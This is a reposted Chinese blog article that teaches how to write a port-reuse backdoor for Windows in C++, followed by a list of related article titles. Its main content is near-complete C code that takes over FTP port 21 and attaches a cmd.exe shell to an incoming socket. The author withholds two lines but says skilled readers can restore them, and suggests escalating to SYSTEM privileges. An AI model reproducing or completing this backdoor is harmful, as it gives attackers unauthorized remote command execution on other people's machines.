谈C++中的端口复用后门的编写
来源:互联网 发布:净水器滤芯 知乎 编辑:程序博客网 时间:2024/06/03 18:12
原文:http://hi.baidu.com/biweilun/blog/item/8c13b5197fb9514143a9adad.html
端口复用后门很多人认为挺有难度的,要强行将Windows正在使用的开放端口占掉,然后插入我们的后门,一般人都以为必须在ring0下面进行,其实完全没有必要,下面给出一段我研究的代码,去除了几行关键的代码,防止居心不良的人直接拿去编译。加上了注释,将就着看吧?效果还是不错的,也很简洁
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret; //初始化wsa
WSAStartup(MAKEWORD(2,2),&ws); //注意要用WSASocket
************* //去掉这2行关键的定义代码
**********
setsockopt(listenFD,SOL_SOCKET,SO_REUSEADDR,(char*)&val,sizeof(val));
//监听本机21端口,可以直接抢占FTP软件正在使用的端口
struct sockaddr_in server;
server.sin_family =AF_INET;
server.sin_port =htons(21);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
ret=bind(listenFD,(sockaddr *)&server,sizeof(server)); //定义地址指针
ret=listen(listenFD,2); //如果客户请求21端口,接受连接
int iAddrSize=sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags =STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//设置为输入输出句柄为Socket
si.hStdInput=si.hStdOutput =si.hStdError =(void *)clientFD;
char cmdLine[]="cmd";
PROCESS_INFORMATION ProcessInformation; //建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
懂的人一下子就能明白那2行代码是什么了,对高手来说没什么技术含量,这个后门打开后可以直接Telnet 21端口上去,朋友可以自行修改,提升system权限
- 谈C++中的端口复用后门的编写
- WebServer端口复用后门
- delphi木马DIY之端口复用后门的实现
- 实现NT端口复用的后门连接(讨论)
- 实现NT端口复用的后门连接(讨论)
- icmp后门的编写
- php后门的编写
- 建造永不被杀的80端口后门
- 网络“后门”-端口的故事①
- python编写ttyshell的反向链接后门
- 编写基于PHP扩展库的后门
- 80端口后门
- Ingreslock1524端口后门漏洞
- 网络世界的“后门”——端口的故事
- 网络世界的“后门”——端口的故事
- 编写变态的(非字母数字的)PHP后门
- 用批处理写的后门
- 用Python编写一个高效的端口扫描器
- mysql table full 的解决方案
- 工作流设计_时间引擎的例子
- 收缩SQL数据库日志文件
- html 标记 target属性
- 什么是工作流技术
- 谈C++中的端口复用后门的编写
- Visual Studio 2008安装初体验(转)
- NetBeans将PHP开发正是纳入官方插件中
- vs 2008下载地址汇总(转)
- 遍历指定目录的文件并返回
- select
- 在北京拿5000.00元的工资
- Mysql入门系列:MySQL数据目录的位置
- 西安IT公司详细信息